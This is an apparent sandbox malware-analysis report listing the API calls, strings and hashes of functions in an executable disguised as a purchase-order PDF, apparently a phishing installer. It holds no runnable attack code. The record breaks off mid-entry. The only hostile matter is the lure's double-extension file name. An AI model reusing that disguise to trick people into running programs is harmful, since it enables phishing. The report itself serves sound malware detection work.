Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4e7e9ca0714fd30891db9328173e30945d26479923c7842d5bcb9add60bdfbdd
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: 4BC14931E04219DBDF18CF68C4905EEB7B2BF98314F25826AD8567B384D7346A42CF95

Function 004042B6 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,?), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,?,00000000), ref: 0040450B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040451D

Strings

N, xrefs: 00404452
Call, xrefs: 00404493
-B@, xrefs: 004044C2
open, xrefs: 004044C5

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$Call$N$open
API String ID: 3615053054-1446803726
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,?,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

%ls=%ls, xrefs: 00405DF1
NUL, xrefs: 00405D8D
[Rename], xrefs: 00405E65, 00405E77

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 004062E9 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe",75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe",75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004062EA
"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe", xrefs: 0040632D
*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-317498141
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,759223A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(0007499C,00000064,000749A0), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00401D56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Strings

Calibri, xrefs: 00401DB7

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 100022D0 Relevance: 9.1, APIs: 6, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002416

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Memory Dump Source

Source File: 00000000.00000002.2206700289.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2206687623.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206712677.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206725097.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction ID: a8798eece1b67337def5fc6f06e905ed3cc6fca3e5836deafc22007a072d802d
Opcode Fuzzy Hash: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction Fuzzy Hash: A14190B1508305EFF320DF24D885AAA77F8FB883D0F50452DF9468619ADB34AA54DB61

Function 100024A9 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 10002572
GlobalFree.KERNEL32(00000000), ref: 100025AD

Memory Dump Source

Source File: 00000000.00000002.2206700289.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2206687623.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206712677.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206725097.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction ID: 76257f5bf6759f365bfcd452de7d39bb0b2322773c3eba187a8a795e141f7608
Opcode Fuzzy Hash: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction Fuzzy Hash: 6831DE71504A21EFF321CF14CCA8E2B7BF8FB853D2F114529FA40961A8CB319851DB69

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 93673c575230451abb0308dee03947b91720819ab8eaafde2c5768f7b1eff422
Instruction ID: bba7bc1bbfa323a43f965ccea5c6d76089a10f976336bb633e0bf1cd6394a54a
Opcode Fuzzy Hash: 93673c575230451abb0308dee03947b91720819ab8eaafde2c5768f7b1eff422
Instruction Fuzzy Hash: E1219E72800114BBDF216FA5CE49D9E7EB9EF09324F24023AF550762E1C7795E41DBA8

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

